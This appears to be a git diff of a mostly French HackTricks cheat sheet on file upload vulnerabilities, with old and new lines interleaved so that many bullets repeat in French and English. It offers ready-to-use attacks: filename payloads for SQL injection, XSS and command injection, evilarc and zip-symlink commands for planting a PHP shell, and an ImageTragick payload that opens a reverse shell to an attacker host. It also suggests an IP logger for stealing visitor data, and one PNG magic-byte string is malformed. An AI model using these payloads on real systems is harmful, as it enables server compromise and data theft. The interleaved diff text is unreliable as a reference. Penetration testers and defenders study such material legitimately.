Certains anciens handlers d'upload qui utilisent `snprintf()` ou des fonctions similaires pour construire des tableaux multi-fichiers à partir d'un upload single-file peuvent être trompés afin de forger la structure `_FILES`. En raison d'incohérences et de troncatures dans le comportement de `snprintf()`, un upload soigneusement conçu peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une structure stricte (par ex., en le traitant comme un multi-file upload et en prenant des branches non sécurisées). Bien que niche aujourd'hui, ce pattern de “index corruption” réapparaît occasionnellement dans des CTFs et de anciens codebases.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'obtenir un **path traversal**
|
||||
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourrez peut-être obtenir une **SQL injection**
|
||||
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour obtenir une **XSS**
|
||||
- Définissez **filename** sur `; sleep 10;` pour tester de l'command injection (plus de [command injections tricks here](../command-injection.md))
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Essayez **différents payloads svg** depuis [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Si vous pouvez **indiquer au web server de récupérer une image depuis une URL** vous pouvez tenter d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/index.html). Si cette **image** doit être **enregistrée** sur un site **public**, vous pouvez aussi indiquer une URL depuis [https://iplogger.org/invisible/] et **voler les informations de chaque visiteur**.
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDFs spécialement conçus pour du XSS : la [page suivante présente comment **injecter des données PDF pour obtenir l'exécution de JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez uploader des PDFs, vous pouvez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données.
|
||||
- Téléversez le \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenu pour vérifier si le serveur dispose d'un **antivirus**
|
||||
- Vérifiez s'il y a une **limite de taille** lors de l'upload de fichiers
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Check if there is any **size limit** uploading files
|
||||
|
||||
Voici un top 10 des choses que vous pouvez accomplir en téléversant (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -206,35 +236,35 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
Si vous pouvez uploader un ZIP qui sera décompressé sur le serveur, vous pouvez faire 2 choses :
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
|
||||
### Symlink
|
||||
|
||||
Téléversez une archive contenant des soft links vers d'autres fichiers ; ensuite, en accédant aux fichiers décompressés vous atteindrez les fichiers liés :
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Décompress dans différents dossiers
|
||||
### Décompresser dans différents dossiers
|
||||
|
||||
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré l'hypothèse initiale que cette configuration pourrait protéger contre l'exécution de commandes au niveau du système d'exploitation via des uploads de fichiers malveillants, le support de la compression hiérarchique et les possibilités de traversal de répertoire du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et de sortir des répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
|
||||
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème majeur. Bien que l'on puisse penser que cette configuration protège contre l'exécution de commandes au niveau OS via des uploads de fichiers malveillants, la prise en charge de la compression hiérarchique et les capacités de traversal de répertoires du format d'archive ZIP peuvent être exploitées. Cela permet aux attaquants de contourner les restrictions et d'échapper aux répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
|
||||
|
||||
Un exploit automatisé permettant de créer de tels fichiers est disponible sur [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
|
||||
Un exploit automatisé pour générer de tels fichiers est disponible à [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
De plus, l'**symlink trick with evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son exécution.
|
||||
De plus, le **symlink trick with evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son exécution.
|
||||
|
||||
Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant :
|
||||
```python
|
||||
@ -254,11 +284,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Abusing compression for file spraying**
|
||||
**Abuser la compression pour le file spraying**
|
||||
|
||||
Pour plus de détails **consultez l'article original sur** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: Du code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`.
|
||||
1. **Creating a PHP Shell**: Le code PHP est écrit pour exécuter des commandes passées via la variable `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -275,7 +305,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, changeant "xxA" en "../" pour traverser les répertoires.
|
||||
3. **Modification with a Hex Editor or vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un hex editor, en changeant "xxA" en "../" pour traverser les répertoires.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -285,38 +315,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Téléversez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (voir l'exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
|
||||
Téléversez ce contenu avec une extension image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (d'après l'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Insertion d'un PHP Shell dans un fichier PNG
|
||||
## Intégrer une PHP shell dans un PNG
|
||||
|
||||
L'insertion d'un PHP shell dans le chunk IDAT d'un fichier PNG peut efficacement contourner certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. Le fait que le PHP shell incorporé reste inchangé par ces opérations est un avantage important pour certains cas d'utilisation.
|
||||
Incorporer une PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'images. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. Le fait que la PHP shell intégrée reste inchangée par ces opérations constitue un avantage important pour certains cas d'utilisation.
|
||||
|
||||
Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
Plus d'informations : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
## Fichiers polyglottes
|
||||
|
||||
Les polyglot files servent d'outil unique en cybersécurité, agissant comme des caméléons qui peuvent exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. De tels fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont aussi réalisables.
|
||||
Les fichiers polyglottes sont un outil unique en cybersécurité, agissant comme des caméléons pouvant exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intéressant est le [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et une archive RAR. Ces fichiers ne se limitent pas à cette paire ; des combinaisons comme GIF et JS ou PPT et JS sont également possibles.
|
||||
|
||||
L'utilité principale des polyglot files réside dans leur capacité à contourner des mesures de sécurité qui filtrent les fichiers en fonction du type. La pratique courante dans diverses applications consiste à n'autoriser que certains types de fichiers pour l'upload — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (par ex. JS, PHP ou Phar). Cependant, un polyglot, en respectant les critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions.
|
||||
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. Il est courant que certaines applications n'autorisent que certains types de fichiers à être uploadés — comme JPEG, GIF ou DOC — afin de réduire le risque lié aux formats potentiellement dangereux (par ex. JS, PHP ou fichiers Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut discrètement contourner ces restrictions.
|
||||
|
||||
Malgré leur adaptabilité, les polyglots rencontrent des limitations. Par exemple, alors qu'un polyglot peut simultanément représenter un fichier PHAR (PHp ARchive) et un JPEG, le succès de son upload peut dépendre de la politique d'extensions du système. Si la plateforme est stricte sur les extensions autorisées, la simple dualité structurelle d'un polyglot peut ne pas suffire pour garantir son upload.
|
||||
Néanmoins, les polyglottes rencontrent des limites. Par exemple, bien qu'un polyglotte puisse incarner simultanément un fichier PHAR (PHp ARchive) et un JPEG, la réussite de son upload peut dépendre des politiques d'extensions de fichiers de la plateforme. Si le système est strict sur les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
Plus d'informations : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
### Télécharger des JSON valides comme s'il s'agissait d'un PDF
|
||||
|
||||
Comment éviter les détections de type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé en le faisant passer pour un PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
|
||||
Comment éviter la détection du type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé, en le faisant passer pour un fichier PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
|
||||
|
||||
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c’est considéré comme valide (voir exemple dans le post)
|
||||
- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON pour que la library pense que c'est un pdf (voir exemple dans le post)
|
||||
- **`file` binary** : Il peut lire jusqu'à 1048576 octets d'un fichier. Il suffit de créer un JSON plus grand que ça pour qu'il ne puisse pas parser le contenu comme du json et ensuite, à l'intérieur du JSON, placer la partie initiale d'un vrai PDF et il le considérera comme un PDF
|
||||
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c'est valide (voir exemple dans l'article)
|
||||
- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON afin que la librairie pense que c'est un PDF (voir exemple dans l'article)
|
||||
- **`file` binary** : Il peut lire jusqu'à 1048576 bytes d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas analyser le contenu comme un json, puis d'insérer à l'intérieur du JSON la partie initiale d'un vrai PDF et il considérera que c'est un PDF
|
||||
|
||||
## Références
|
||||
|
||||
@ -328,5 +358,8 @@ Comment éviter les détections de type de fichier en uploadant un fichier JSON
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user